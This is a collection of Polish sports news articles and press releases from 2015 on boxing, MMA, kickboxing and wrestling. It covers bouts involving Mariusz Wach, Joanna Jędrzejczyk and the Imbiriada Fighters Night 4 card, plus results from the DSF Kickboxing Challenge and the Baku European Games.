„Viking” zrobił to, co do niego należało. Wygrał pewnie, wykorzystał swoje atuty i wreszcie wykonał krok do przodu. Od początku pojedynku Mariusz Wach trzymał rywala w dystansie. Polak wykorzystywał swoje warunki fizyczne – zasięg ramion i wzrost. Tempo walki nie powalało, gdyż obaj pięściarze spokojnie starali się przygotowywać kolejne ataki. W drugiej rundzie w końcu doszło do wymiany i w końcówce Wach trafił kilkoma mocnymi ciosami. Airich w trzeciej odsłonie po raz pierwszy zachwiał się na nogach. Polski bokser wagi ciężkiej wyprowadził kilka ciosów na głowę i tułów rywala, które zrobiły wrażenie na pięściarzu z Niemiec. Airich miał problemy kondycyjne, co nadto widoczne było w czwartej rundzie. Często wypluwał ochraniacz i łapał powietrze. Wach był konsekwentny w swoim działaniu, a zarazem czytelny, jednak rywal nie był w stanie odpowiedzieć Polakowi. Airich słabł i wydawało się, że lada chwila „Viking” powinien dokończyć dzieła. W szóstej rundzie Airich prosił swój narożnik o zakończenie pojedynku. Trenerzy zlitowali się i rzucili ręcznik.

Mariusz Wach trafił na przeciwnika, który kondycyjnie nie był przygotowany do pojedynku. Polak miał za zadanie wygrać i zrealizował plan. Teraz ma stanąć przed trudnym wyzwaniem. Prawdopodobnie Wach we wrześniu w Londynie zmierzy się z Anthony’m Joshuą. Młody pięściarz jest nadzieją brytyjskiego boksu, do tej pory stoczył trzynaście zwycięskich pojedynków. W ostatnim czasie pokonał Kevina Johnsona. Dla Wacha to ogromna szansa na powrót do światowej czołówki. Tyle, że „Viking” do rywalizacji z Joshuą musi się przygotować na każdym polu. Anglik jest młodszy, szybszy, sprawniejszy i ma paraliżujący cios. Gdyby do pojedynku doszło, byłoby to jedno z najtrudniejszych wyzwań w karierze polskiego pięściarza.

Mariusz Wach zanotował czwarte zwycięstwo po powrocie na ring. Polak odprawił Samira Kurtagicia, Travisa Walkera oraz Gbengę Oluokuna. Na zawodowym ringu „Viking” zanotował trzydzieści jeden zwycięstw i poniósł jedną porażkę. Czas na roztrenowanie już minął. Wszystko wskazuje na to, że jesienią Wach stoczy poważny pojedynek, który pozwoli zweryfikować jego miejsce w wadze ciężkiej.

W Ostrowcu Świętokrzyskim pierwszą porażkę w karierze zanotował Robert Parzęczewski. Polak przegrał na punkty z Jessy’m Luxembourge z Francji. Tylko Wachowi udało się skończyć walkę przed czasem, reszta pojedynków kończyła się werdyktem sędziów. Pierwsze starcie w karierze zwycięstwem zakończył Mateusz Rzadkosz, który pokonał Dzianisa Makara. Damian Wrzesiński wyraźnie lepszy od Oscara Fiko (60-53, 60-52, 59-53). Szczęśliwa wygrana Michała Leśniaka w rywalizacji z Andreiem Staliarchukiem. Z kolei Michł Gerlecki zdominował Pablo Sosę i zanotował jedenaste zwycięstwo w karierze. Michał Żeromiński lepszy od Laszlo Fazekasa.

KM

Jędrzejczyk gotowa do boju

Polska mistrzyni UFC wagi słomkowej po raz pierwszy w karierze będzie broniła mistrzowskiego pasa. Joanna Jędrzejczyk podczas UFC Fight Night w Berlinie zmierzy się z Jessicą Penne.

Polka przebojem wdarła się do najlepszej organizacji mieszanych sztuk walki na świecie i zrobiła furorę. W trzeciej walce w UFC rywalizowała o mistrzowski pas. Wcześniej dobre wrażenie pozostawiła po sobie w walce z Julianą de Lima Carneiro i zwłaszcza w starciu z Claudią Gadelhą. W pojedynku z mocną Brazylijką Polka udowodniła klasę i pokazała, że potrafi wyjść z opresji. Wydawało się, że Jędrzejczyk stoi na straconej pozycji, jednak postawiła trudne warunki, co sprawiło, że Gadelha musiała pogodzić się z porażką. Prawdziwy repertuar zagrań Polka pokazała w starciu z Carlą Esparzą. Jędrzejczyk walczyła o pas i od początku nie pozostawiła rywalce złudzeń, że za wszelką cenę chce, aby trafił on w jej ręce. Esparza musiała odpierać ataki polskiej fighterki. Jędrzejczyk zakończyła pojedynek w drugiej rundzie po serii ciosów, na które rywalka nie była w stanie odpowiedzieć. Czy Jessica Penne zatrzyma pochód 27-latki z Olsztyna?

Podczas ceremonii ważenia panie nie szczędziły sobie uprzejmości. Polka wręczyła Amerykance naszyjnik z makaronu penne, a ta zrewanżowała się Jędrzejczyk pierścieniem Golluma. 32-latka jest nastawiona bojowo. Nie przestraszyła się mistrzyni podczas ceremonii ważenia, okazała się pewna siebie, opanowana i żądna walki. Co pokaże w oktagonie? Penne ponad pięćdziesiąt procent swoich pojedynków kończy przez poddanie rywalek. Do tej pory w UFC stoczyła jedną walkę, w której uporała się z Randą Markos. Wcześniej rywalizowała na galach organizacji Invicta FC, kilka pojedynków stoczyła w Bellatorze. Penne ostatnią porażkę w swojej karierze zanotowała w kwietniu 2013 roku, kiedy uległa Michelle Waterson. Jędrzejczyk jeszcze nie przegrała podczas swoich występów w MMA.

Spojrzą sobie głęboko w oczy i ruszą do rywalizacji. Jędrzejczyk udowodniła, że stać ją na wiele i ma charakter, aby być mistrzynią. Penne jest zdeterminowana i gotowa na wymianę. Zapowiada się ciekawa walka, w której dominować może aktywność.

W Berlinie zaprezentują się dwaj Polacy. Piotr Hallmann wraca do UFC po dziewięciomiesięcznej dyskwalifikacji spowodowanej stosowaniem dopingu. Dla „Płetwala” będzie to piąty pojedynek dla najlepszej organizacji mieszanych sztuk walki na świecie. Do tej pory dwa pojedynki wygrał, dwa przegrał. Jego rywalem w Berlinie będzie Magomed Mustafaev. Dla Rosjanina będzie to debiut w UFC. 26-latek jest twardym fighterem, jak przystało na zawodników ze Wschodu. Pierwszą walkę w UFC stoczy również Łukasz Sajewski. 24-latek w swojej karierze nie zanotował jeszcze porażki i zanotował trzynaście zwycięstw. W maju ubiegłego roku odprawił Igora Egorova.  Rywalem Polaka będzie doświadczony Niemiec Nick Hein, który w UFC debiutował rok temu. W pierwszej walce okazał się lepszy od Drew Dobora, a w kolejnym występie musiał uznać wyższość Jamesa Vicka.

KM

Miód będzie się lał

Czy będzie tak słodko? Wszystko na to wskazuje. Gala kickboxingu zawodowego K-1 Rules Imbiriada Fighters Night 4 w Ożarowie Mazowieckim zapowiada się niezwykle interesująco.

Miejscem rywalizacji będzie MCC Mazurkas Conference Centre & Hotel. Zjawi się tam śmietanka polskiego kickboxingu – fighterzy o ugruntowanej pozycji i Ci, którzy wdrapują się na szczyt. Nie zabraknie zawodników z Bałkanów, Turcji, Słowacji i Ukrainy. Organizator liczy, że po raz kolejny gala spełni pokładane w niej nadzieje. Podczas lutowej imprezy, która była połączona z obchodami 25-lecia PZKb nie zabrakło interesujących i pełnych zwrotów akcji walk.

W walce wieczoru wystąpi Wojciech Kosowski, który mimo upływu lat nadal jest czołową postacią polskiego kickboxingu. Zawodnik Palestry Warszawa nie ustaje w doskonaleniu swoich umiejętności i na kolejnych imprezach odgrywa rolę gwiazdy. Podczas gali Imbiriada Fighters Night 3 Polak szybko uporał się z Milanem Kovacem. Kosowski już w pierwszej rundzie odesłał rywala do domu. Czy tym razem będzie podobnie? W Ożarowie naprzeciw Polaka stanie mocny i wymagający Mucahit Kulak. Początkowo zawodnik Palestry miał rywalizować z Ademem Bozkurtem. Stawką pojedynku będzie tytuł międzynarodowego mistrza Polski w kategorii 75kg.

W Ożarowie zaprezentuje się utalentowana Iwona Nieroda. Polka walcząca w kategorii 56kg stawia kolejne kroki w zawodowej karierze. Do tej pory stoczyła pięć walk i wszystkie zakończyły się jej triumfem. W tym roku na gali Battle of Warriors Extra 2 w Budzowie Nieroda na punkty wygrała z Petrą Castovą. W Rimini po raz drugi  w karierze zdobyła Puchar Świata (wcześniej w 2013 roku w Szeged). Nieroda ma na swoim koncie wiele sukcesów, a w ostatnich latach ustawicznie zwiększa swoją kolekcję. W 2013 roku w Warnie Polka wywalczyła tytuł mistrzyni świata WAKO Pro w low kick. Wyczyn ten powtórzyła rok później w Turcji. W Ożarowie stanie naprzeciw Oksany Romanowej z Ukrainy. 37-latka wywodzi się z boksu, a teraz rozwija swoje umiejętności w kickboxingu. Romanowa jest zawodniczką twardą i niezwykle wytrzymałą. Swego czasu potrafiła spędzić w ringu dziesięć rund.  Zapowiada się wyrównana walka.

W wadze ciężkiej zaprezentuje się Michał Turyński. Polak w zawodowej karierze stoczył dwadzieścia trzy pojedynki, z których szesnaście zakończyło się jego zwycięstwem. Przeciwnikiem Turyńskiego będzie 21-letni Słowak Radovan Kulla. Polak musi przygotować się na ciężki pojedynek. Mistrz Słowacji na poprzedniej gali Imbiriada Fighters Night uporał się z Patrykiem Proszkiem. Ożarowskiej publiczności zaprezentuje się Dawid Kasperski, który będzie walczył o pas zawodowego mistrza Polski w kategorii 86kg. Podczas swojego ostatnie występu na gali w Tallinie Polak przegrał z Maximem Vorovskim.

W Ożarowie wystąpią również: Patryk Proszek, Mateusz Rycerski, Damian Świerczyński, Arkadiusz Kaszuba i Artur Stańczak. Zatem w Ożarowie Mazowieckim zapowiada się ciekawy wieczór. 20 czerwca w ringu pojawią się mocne nazwiska, których celem będzie stworzenie prawdziwego show. Organizator liczy, że gala na stałe zagości w gronie najciekawszych wydarzeń w polskim kickboxingu.

KM

Krok od złota

Magomedmurad Gadżijew zaliczył bardzo dobry występ podczas I Igrzysk Europejskich w Baku. Pochodzący z Dagestanu zapaśnik w kategorii 70kg sięgnął po srebrny medal.

Reprezentant Polski udział w Igrzyskach Europejskich rozpoczął od kwalifikacji. Gadżijew poradził sobie z trudnymi warunkami i wysiłkiem związanym z rywalizacją. Zapaśnik dotarł aż do finału, jednak złota nie wywalczył.

Ta pierwsza runda

Pierwszym rywalem Gadżijewa był Miroslav Kirow, który nie sprawił reprezentantowi Polski większych problemów. Bułgar musiał pogodzić się z porażką 0:5. Zapowiadało się, że w 1/8 finału będzie ciężko, bo Polak trafił na reprezentanta gospodarzy. Rusłan Dibirgadżijew liczył na wygraną, ale się przeliczył. Doping publiczności nie pomógł reprezentantowi gospodarzy, a Gadżijew pokazał, że jest w dobrej dyspozycji i zwyciężył 7:2.

Przez ćwierćfinał reprezentant Polski przeszedł jak burza, a w półfinale pokazał prawdziwą klasę. Zsombor Gulyas nie miał najmniejszych szans w starciu z zapaśnikiem z Białogardu. Dawit Tlaszadzem był ostatnią przeszkodą na drodze Gadżijewa do finału. Pochodzący z Dagestanu zapaśnik wiedział, że jest w strefie medalowej, ale mierzył w złoto. Gruzin padł jego ofiarą już w pierwszej rundzie. Gadżijew rozbił swojego rywala 10:0 i czekał na finał. Wszystko wskazywało na to, że reprezentanta Polski stać na złoto.

W finałowej walce Gadżijew spotkał Rosjanina Magomedrasula Gazimagomiedowa, który również pochodzi z Dagestanu. Reprezentant Polski nadawał ton rywalizacji w pierwszej rundzie i wydawało się, że jest na najlepszej drodze do zwycięstwa. W końcówce akcja Gadżijewa zakończyła się korzystanie dla jego rywala, gdyż sędziowie przyznali punkt Gazimagomiedowowi. Rosjanin wygrał pierwszą odsłonę 2:1. Gadżijew spuścił z tonu i w drugiej rundzie był ostrożny. Dopiero w końcówce reprezentant Polski zaczął atakować, ale było już zbyt późno. Rosjanin skutecznie się bronił i to na jego szyi zawisło złoto.

Brąz Marcinkiewicza

Nie tylko Gadżijew stanął w Baku na podium. Serce do walki pokazał Radosław Marcinkiewicz, który w kategorii 86kg sięgnął po brązowy medal.

Polak w decydującej walce stanął przed trudnym wyzwaniem. Rywalem Marcinkiewicza był Nurmaqomed Qadjiyev z Azerbejdżanu. Tym samym Polak, podobnie jak Gadżijew w 1/8 finału, walczył pod ogromną presją. Wiadomo, że ściany pomagają gospodarzom, a dodatkowo Qadjiyeva dopingowała żywiołowa publiczność. Mimo to Marcinkiewicz nie dał się wytrącić z równowagi.

Początek walki nie zapowiadał sukcesu. Polak był spięty i nie przejawiał ochoty do rywalizacji. Po pierwszej rundzie Marcinkiewicz przegrywał 0:3. Nasz zapaśnik był cierpliwy i czekał na właściwy moment do ataku. Upływały kolejne sekundy, a Polak nadal przegrywał. Brązowy medal oddalał się, ale w końcu Marcinkiewicz postanowił zaatakować. Precyzyjne sprowadzenie sprawiło, że Polak zdobył decydujące o zwycięstwie punkty. Marcinkiewicz wygrał 5:3 i mógł cieszyć się z trzeciego miejsca na podium podczas I Igrzysk Europejskich.

KM

Ivona Nieroda vs Oksana Romanowa podczas Imbiriada Fighters Night4

Jako jedynym pojedynkiem kobiet na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się już 20 czerwca 2015 r. w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel, będzie walka pomiędzy polską zawodniczką Iwoną Nierodą, a Ukrainką Oksaną Romanovą. Walka zapowiada się niezmiernie ciekawie. Obie zawodniczki są świetnie przygotowane i posiadają duże doświadczenie.

Iwona Nieroda to zawodowa Mistrzyni Świata WAKO PRO. Jest zawodniczką Diamentu Pstrągowa i podopieczną trenera Jerzego Pilarza. Trenuje od 2003 roku. Swoje starty rozpoczęła w 2005 roku. Iwona na swoim koncie 148 walk amatorskich we wszystkich formułach kickboxingu. Na koncie Iwony są amatorskie tytuły mistrzowskie, w tym amatorskie Mistrzostwo Juniorów z 2008 zdobyte w Neapolu/Włochy, amatorskie Mistrzostwo Świata Seniorów zdobyte w 2011 w Skopje/Macedonia oraz amatorskie Mistrzostwo Europy z 2012 zdobyte w Ankarze/Turcja. Iwona Nieroda zdobyła także dwa razy Puchar Świata. Pierwszy raz w 2013 roku w Szeged na Węgrzech, a drugi raz w 2015 w Rimini/Włochy. Zawodniczka zdobyła również pięć razy z rzędu (w latach 2010, 2011, 2012, 2013, 2014, 2015) tytuł Mistrzyni Polski w Kickboxingu Low Kick Seniorów, a także cztery razy z rzędu (w latach 2011, 2012, 2013, 2014) tytuł Mistrzyni Polski w Kickboxingu K-1 Rules.

Stoczyła zaledwie 5 walk zawodowych, ale wszystkie z nich wygrywała. Ostatni zawodowy pojedynek stoczyła 28 lutego na Gali Battle of Warriors Extra 2 w Budzowie. Na tej Gali przeciwniczką Iwony była reprezentantka Czech, Petra Castova. Sędziowie nie mieli wątpliwości, że zwycięstwo należy się Iwonie. Pas zawodowej Mistrzyni Świata WAKO PRO w Kickboxingu Low Kick Iwona zdobyła w 2013 w Warnie/Bułgaria. W 2014 roku obroniła tytuł mistrzowski w Eskisehir/Turcja. Na Gali FIGHTERS NIGHT 2 Iwona wywalczyła pas Międzynarodowej Mistrzyni Polski w formule Low-Kick w kategorii do 56 kg. Przeciwniczką Iwony była Słowaczka Vladimira Smelkova. Po serii bardzo mocnych kopnięć Iwony Słowaczka, doznała kontuzji nogi i w III rundzie sędzia postanowił zakończyć walkę.

Na gali w Ożarowie Mazowieckim przeciwniczką Iwony będzie 37 letnia Oksana Romanova z Ukrainy, ksywa: Amazon, walcząca zawodowo od 2001 roku. Zawodniczka ukraińska wywodzi się z boksu. Według jego zasad stoczyła 24 walki zawodowe. Jest niezmiernie wytrzymałą zawodniczką. Ma na swoim koncie walki, w których wytrzymywała aż 10 rund. Może to świadczyć o dużej wytrzymałości, zawziętości i ogromnej chęci walki ukraińskiej zawodniczki. Cechy te sprawiają, że będzie bardzo trudna przeciwniczką dla Iwony Nierody.

""

Ostatni raz na zawodowym ringu bokserskim wystąpiła w grudniu 2012 roku. Oksana jest mistrzynią Ukrainy w Kickboxingu Full Kontakt (1995 – 2004 r.). W 1999 roku została Mistrzynią Świata w Kickboxingu Low Kick. 2004 rok przynosi tytuł Mistrzyni Świata. Kolejne osiągnięcie to tytuł Mistrzyni Miasta Kijowa 2011 roku w Kickboxingu K-1. W bieżącym roku wygrała Międzynarodowy Turniej Konsula Tajlandii na Ukrainie w Muay Thai.

Obie, zarówno Iwona Nieroda, jak i Oksana Romanova, to doświadczone zawodniczki, które posiadają olbrzymi potencjał i chęć walki. Ich spotkanie na ringu zapowiada się niezmiernie ciekawie. Na pewno dostarczy ono wszystkim wiele emocji.

 

 

źródło: informacja prasowa

Kazach z Niemiec na drodze Wacha

Popularny „Viking” stoczy drugi pojedynek w tym roku.19 czerwca na gali BudWeld Boxing Night w Ostrowcu Świętokrzyskim Mariusz Wach zmierzy się Konstantinem Airichem.

Kazach reprezentujący Niemcy jest rok starszy od Polaka. Z pewnością najlepsze bokserskie lata ma już za sobą. W 2015 roku Airich jeszcze nie walczył, jednak do pojedynku z Wachem przystępuje po dwóch porażkach – z Anthony’m Joshuą i Denisem Bakhtovem. 37-letni pięściarz nie ma za sobą najlepszego czasu. W marcu 2012 roku okazał się lepszy od Ondreja Pali i od tamtego czasu notuje coraz to słabsze występy. Airich zaliczył cztery porażki, jednak należy zauważyć, że mierzył się z pięściarzami o wysokich umiejętnościach. Kazach z Niemiec musiał uznać wyższość Odlaniera Solisa, Wiaczesława Głazkova, Manuela Charra i Christiana Hammera. Dwa zwycięstwa nieco podniosły morale Airicha, który w 2014 roku odprawił Ergina Solmaza oraz Marcella Gottschalka. Pierwsza połowa ubiegłego roku była dobra w wykonaniu najbliższego rywala Mariusza Wacha, ale kolejne miesiące przyniosły kolejne porażki. Jak Airich zaprezentuje się w pierwszym tegorocznym starcie? Co ciekawe – w swojej karierze reprezentant Niemiec mierzył się z Gbengą Oluokunem, czyli pięściarzem, z którym ostatnio spotkał się Mariusz Wach. „Viking” po dziesięciu rundach zwyciężył na punkty. Z kolei Airich musiał uznać wyższość Oluokuna, który rywalizację zakończył w czwartej rundzie.

Dla Wacha to czwarty występ po okresie absencji. Polski bokser wagi ciężkiej stopniowo wraca do rywalizacji na najwyższym poziomie, choć to stwierdzenie na wyrost. Wach dostaje rywali niezbyt wymagających. „Viking” ma oswoić się z ringiem, jednak powoli czas adaptacji mija. Jeśli Wach nadal chce się liczyć w boksie musi rywalizować z poważniejszymi rywalami. Cel na pojedynek z reprezentantem Niemiec? Wach musi pokazać, że jest lepszy. Istotną kwestią jest kondycja polskiego pięściarza i jego wytrzymałość. Z Oloukunem rywalizował dziesięć rund i wydaje się, że bardziej wymagający przeciwnik mógłby Wachowi utrzeć nosa. Airich jest pięściarzem, którego Polak powinien pokonać. Zdecydowanie i z dużą przewagą. Czy tak będzie?

Przed kolejnym wyzwaniem stanie Robert Parzęczewski. Czy Polak utrzyma status niepokonanego na zawodowym ringu? Rywalem Parzęczewskiego będzie Francuz Jessy Luxembourger. Michał Gerlecki postara się o jedenastą wygraną. Polski pięściarz udowodnił, że jego ciosy są niezwykle niebezpieczne. Podczas marcowej gali w Lubinie przekonał się o tym Stjepan Bozić, który w czwartej rundzie musiał pogodzić się z porażką. Tym razem rywalem Gerleckiego będzie Pablo Sosa z Argentyny. W Ostrowcu Świętokrzyskim zaprezentują się także: Damian Wrzesiński, który zmierzy się z Oszkarem Fiko, Michał Żeromiński w rywalizacji z Laszlo Fazekasem. Z kolei Michał Leśniak stanie naprzeciw Andrieja Staliarczuka, a Mateusz Rzadkosz stoczy pojedynek z Dzianisem Makarą.

KM

Michał Turyński kontra Radovan Kulla

Kolejną, ciekawie zapowiadającą się walką na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się 20 czerwca w MCC Mazurkas Conference Centre & Hotel, będzie spotkanie na ringu polskiego zawodnika Michała Turyńskiego z Słowakiem Radovanem Kullą.

Michał Turyński, lat 29, od 2009 r. członek Kadry Narodowej PZKB Low-kick/K-1 Rules rozpoczynał przygodę ze sportami walki od jiu jitsu i taekwon-do. Przez jakiś czas trenował również karate. Od 2009 roku jest pod opieką Tomasza Skrzypka, trenera kadry narodowej. Co ciekawe Michał oprócz treningów znajduje również czas na pracę firmie ochroniarskiej, której jest szefem oraz ochotniczej straży pożarnej w rodzinnej dolnośląskiej wsi Ciepłowody.

Trenuje od wielu lat, a pierwsze jego zdobyte tytuły związane są z taekwondo. Należy do nich zdobyte między innymi w 2004 roku w Świdniku Vice-mistrzostwo Polski Juniorów PUT w kategorii +78 kg. Kolejny lata przyniosły zdobycie Pucharu Świata Word Cup ETF w kategorii open w Grevenbroich w Niemczech, i Międzynarodowego Mistrzostwa Mołdawii Voievod w kategorii open w Kiszyniowie/ Mołdawia. Zdobył również w 2006 Mistrzostwo Polski PUT w kategorii +84 kg. Michał Turyński odnosił również sukcesy w karate, a są nimi zdobycie Pucharu Polski All Style Karate Semi Contakt w kategorii +90 kg i Mistrzostwa Polski  All Style Karate w kategorii +90 kg.

Swoją przygodę z kickboxingiem Michał rozpoczął od zdobycia w 2009 roku Vice-mistrzostwo Polski PZKB K-1 Rules w kategorii +91 kg. W tym samym roku zdobył również Mistrzostwo Polski PZKB Low-kick w kategorii +91 kg. Występował również na wielu zawodach polskich i międzynarodowych, w tym w Innsbrucku w Austrii w 2010 Pucharze Świata WAKO w K-1 Rules w kategorii open w Pucharze Świata WAKO K-1 Rules w kategorii open w Szeged na Węgrzech oraz Mistrzostwach Europy w K-1 w Ankarze/Turcja, gdzie zdobył brązowy medal. Na koncie Michała jest również zdobycie, rok po roku (2013 i 2014 r.), Mistrzostwa Polski PZKB  K-1 Rules w kategorii +91 kg.

Michał Turyński to zawodnik walczący nie tylko w walkach amatorskich ale również występujący w walkach zawodowych, których odbył 23, w tym 16 wygranych. Na jego koncie znajdują się między innymi walki na Gali K-1 GrandPrix Elimination in Vilnus Wilno/Litwa w 2013, Gali KOK Kiszyniów/ Mołdawia w 2014. W 2013 roku Michał zalicza wygraną na Gali Zawodowej The Gladiators K-1 Rules we Wrocławiu. Ma również na swoim koncie Zawodowe Mistrzostwo Polski PZKB  K-1 Rules w kategorii +91 kg, które zdobył w 2012 roku we Wrocławiu. Ostatnią walkę zawodową stoczył 17 października ubiegłego roku na Gali KOK w Gdańsku.

""

Przeciwnik Michała Turyńskiego, to 21 letni zawodnik słowackiego klubu Ares Gym Zielina, Radovan Kulla. Zawodnik charakteryzuje się imponującymi warunkami fizycznymi – prawie 2 metrowym wzrostem i wagą 102 kg. Ma bardzo duży zasięg ramion. Jest Mistrzem Słowacji. Słowak pomimo niewielkiej ilości walk amatorskich ma duże osiągnięcia na ringu zawodowym. Na jego koncie jest 15 walk zawodowych, w tym 12 walk zwycięskich. Brał udział w kolejnych edycjach Yangame Fight Night, a także Hanuman Cup 21, Kickboxing WKN World Championship czy też K-1-Warriors – The Final Battle w kwietniu bierzącego roku w Niemczech. Występ Radovana nie jest pierwszym na Gali Fighters Night. W poprzedniej edycji gali spotkał się na ringu Patrykiem Proszkiem. Górujący warunkami fizycznymi Słowak, pomimo wyrównanej walki, zrobił w oczach sędziów lepsze wrażenie, co zaowocowało ogłoszeniem go zwycięzcą pojedynku.

 

Czekamy z niecierpliwością jaki tym razem będzie wynik walki Słowaka z polskim zawodnikiem.

źródło: informacja prasowa

Paczuski dał zwycięstwo

Wiadomo było, że Łotysze będą trudnym przeciwnikiem, z którym zwycięstwo nie przyjdzie łatwo. Ten scenariusz sprawdził się, jednak Polacy po raz kolejny potwierdzili swoje ogromne możliwości. Na gali DSF Kickboxing Challenge biało-czerwoni pokonali Łotyszy 2:1.

Organizator po raz kolejny postawił na formułę meczową. Potwierdziło się, iż jest to interesujący pomysł na rywalizację w kickboxingu. Po pierwsze, budzi emocje, a po drugie – buduje poczucie jedności i wspólnego celu. W Warszawie Polacy okazali się lepsi od Macedonii, wygrali gładko 3:0. Z Łotyszami nie poszło już tak łatwo, ale biało-czerwoni z Włocławka wyjechali w glorii chwały.

Udany debiut Paczuskiego

Reinis Porozovs sprawdził dyspozycję Arkadiusza Dembińskiego. Polak chciał pokazać, że w pełni zasłużył na szansę występu, jednak Łotysz okazał się lepszy. Wyrównana walka potoczyła się po myśli Porozovsa, który w trzeciej rundzie doprowadził do liczenia Dembińskiego. Polska przegrywała, a w ringu miała pojawić się Dorota Godzina. Posiadaczka pasa DSF zawsze imponowała spokojem i konsekwencją, a tym razem zaskoczyła szybkością. Godzina stanęła do rywalizacji z Jeleną Ozinską.  Łotyszka chciała wziąć rewanż na Polce, która kiedyś już ją pokonała, ale ta sztuka nie powiodła się. Dorota Godzina już w pierwszej rundzie rozstrzygnęła pojedynek na swoją korzyść. Kopnięciem na głowę Polka pozbawiła szans Ozinską. Łotyszka miała rozcięty łuk brwiowy i nie była w stanie kontynuować walki.

O wyniku rywalizacji miał rozstrzygnąć Radosław Paczuski, dla którego był to pierwszy występ podczas walki wieczoru na DSF Kickboxing Challenge. 23-latek udźwignął ciężar spoczywający na jego barkach. Arturs Ozolins musiał uznać wyższość Paczuskiego, który już w pierwszej rundzie mógł się cieszyć ze zwycięstwa. Polak niskimi kopnięciami osłabił Łotysza i sprawił, że ten nie był w stanie walczyć dalej. Dzięki temu biało-czerwoni wygrali drugi pojedynek i całe spotkanie 2:1.

Ciężkie rozstrzygnięcie

We Włocławku doszło do finałowej rywalizacji w turnieju wagi ciężkiej. Naprzeciw siebie stanęli Tomasz Klimiuk i Michał Bławdziewicz. Zacięty pojedynek nie znalazł rozstrzygnięcia w ciągu trzech rund. Sędziowie przyznali zwycięstwo Klimiukowi.

Efektowna walka odbyła się w kategorii 63,5kg. Jan Lodzik pokazał szeroki repertuar zagrań, jednak nie był w stanie znokautować Mateusza Rajewskiego. Zawodnik z Płocka skutecznie bronił się i starał atakować. Po trzech rundach zwycięstwo sędziowie przyznali Lodzikowi. Jeden z najlepszych specjalistów w Polsce w full contact Łukasz Wichowski pokonał 3:0 Piotra Smoczyńskiego. Swoją walkę wygrał również Kamil Ruta. Fighter z Kobyłki  odprawił Patryka Zdrojewskiego z warszawskiej Palestry. Jakub Bartnik w trzeciej rundzie zakończył pojedynek z Tomaszem Kowalczykiem.

Jeszcze więcej

Kolejny mecz i kolejne zwycięstwo, ale na tym jeszcze nie koniec. Grupa DSF planuje kolejne wydarzenia. We wrześniu w Płocku Polska zmierzy się z Niemcami, a w listopadzie w Warszawie podejmie Rosję.

Wyniki gali DSF Kickboxing Challenge we Włocławku:

 

Walki Pro-Am

70 kg: Roger Garbaczewski pokonał Tomasza Walkowiaka przez RSC (niezdolność do walki)
81 kg: Jakub Bartnik pokonał Tomasza Kowalczyka przez KO w 3 rundzie
70 kg: Jakub Górny pokonał Adriana Heka przez decyzję 3-0

Walki Pro

81 kg: Michał Dykowski pokonał Sebastiana Adamskiego przez decyzję 3-0
81 kg: Kamil Ruta pokonał Patryka Zdrojewskiego przez decyzję 3-0
63,5 kg: Jan Lodzik pokonał Mateusza Rajewskiego przez decyzję 3-0
+91 kg: Tomasz Klimiuk pokonał Michała Bławdziewicza przez decyzję 3-0
80 kg: Łukasz Wichowski pokonał Piotra Smoczyńskiego przez decyzję 3-0

Polska vs Łotwa

91 kg: Reinis Porozovs pokonał Arkadiusza Dembińskiego przez decyzję 3-0
56 kg: Dorota Godzina pokonała Jelenę Ozinską (Łotwa) przez KO w 1 rundzie
Walka Wieczoru: 81 kg: Radosław Paczuski pokonał Artursa Ozolinsa przez TKO w 1 rundzie

KM

Powrót Rycerskiego w wielkim stylu

Bardzo ciekawie zapowiada się walka w kategorii 81 kg miedzy Mateuszem Rycerskim, a Dawidem Świerczyńskim. Już nieraz zawodnicy Ci krzyżowali ze sobą rękawice w różnego rodzaju turniejach amatorskich. Teraz przyszła pora by obaj 26 letni zawodnicy spotkali się na ringu zawodowym. Już 20 czerwca 2015 spotkają się w trakcie Gali Kickboxingu Zawodowego K-1 Rules IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel.

Mateusz Rycerski to wielokrotny Mistrz Polski Juniorów, Mistrz Polski Młodzieżowców  oraz Zawodowy Mistrz Polski Młodzieżowców. Startował głównie w Full Contact-cie, Light i Low Kicku oraz K1. Mateusz dopiero pół roku temu wznowił treningi po 3 letniej przerwie spowodowanej kontuzją (było nią zerwanie więzadła w kolanie) uniemożliwiającą mu starty w zawodach. Kontuzja nie wpłynęła jednak na jego chęć powrotu do walki. Pomimo trudów związanych z leczeniem i rehabilitacją Mateusz Rycerski znalazł w sobie olbrzymi zasób sił i chęci by dojść do formy. O jego aktualnym doskonałym przygotowaniu może świadczyć ostatni Mistrzostw Polski K1 w Legnicy. Wygrywa na nim jednogłośnie na punkty 3:0 pierwszą walkę z doskonałym Borysem Brodowskim z Klubu Duet Gdańsk. W ćwierćfinale rozprawia się z rewelacyjnym Pawłem Gierzyńskim z Palestry Warszawa. Walka ta była niezmiernie zacięta. Pierwsza rudna zakończyła się remisem. Drugą jednym punktem wygrał Mateusz, natomiast w rundzie trzeciej pokonał on swojego rywala jednogłośną decyzja sędziów 3:0. W półfinale wygrywa z doświadczonym Przemysławem Ziemnickim z KT Legia Warszawa. Ulega jednak w finale Kamilowi Rucie z MKS Wicher Kobyłka. Na przegraną niewątpliwy wpływ miały skutki ćwierćfinałowego starcia. Mateusz w finale przegrał na punkty, ale pozostawił po sobie wśród wszystkich bardzo dobre wrażenie.

Dawid Świerczyński to dobrze zbudowany zawodnik. Ten startujący od wielu lat instruktor Kickboxingu i Muay Thai to jednocześnie doświadczony zawodnik, który brał udział 8 walkach na ringach zawodowych. Jego największym osiągnięciem jest zdobycie Pasa Międzynarodowego Zawodowego Mistrza Słowacji K1 w kategorii 81 kg. Dawid Świerczyński brał również udział w gali Big-Fight w Kłajpedzie oraz galach zawodowych K1 w Polsce. Zajął II miejsce w Pucharze Słowacji K1 w Bańskiej Bystrzycy oraz II miejsce na Slovak Open K1 w Bardejovie.

Obaj, zarówno Mateusz Rycerski, jak i Dawid Świerczyński, to doświadczeni zawodnicy, którzy posiadają olbrzymi potencjał. Ich walka zapowiada się niezmiernie ciekawie i na pewno dostarczy wszystkim wiele emocji.

źródło: informacja prasowa

Zawodni kontra Proszek

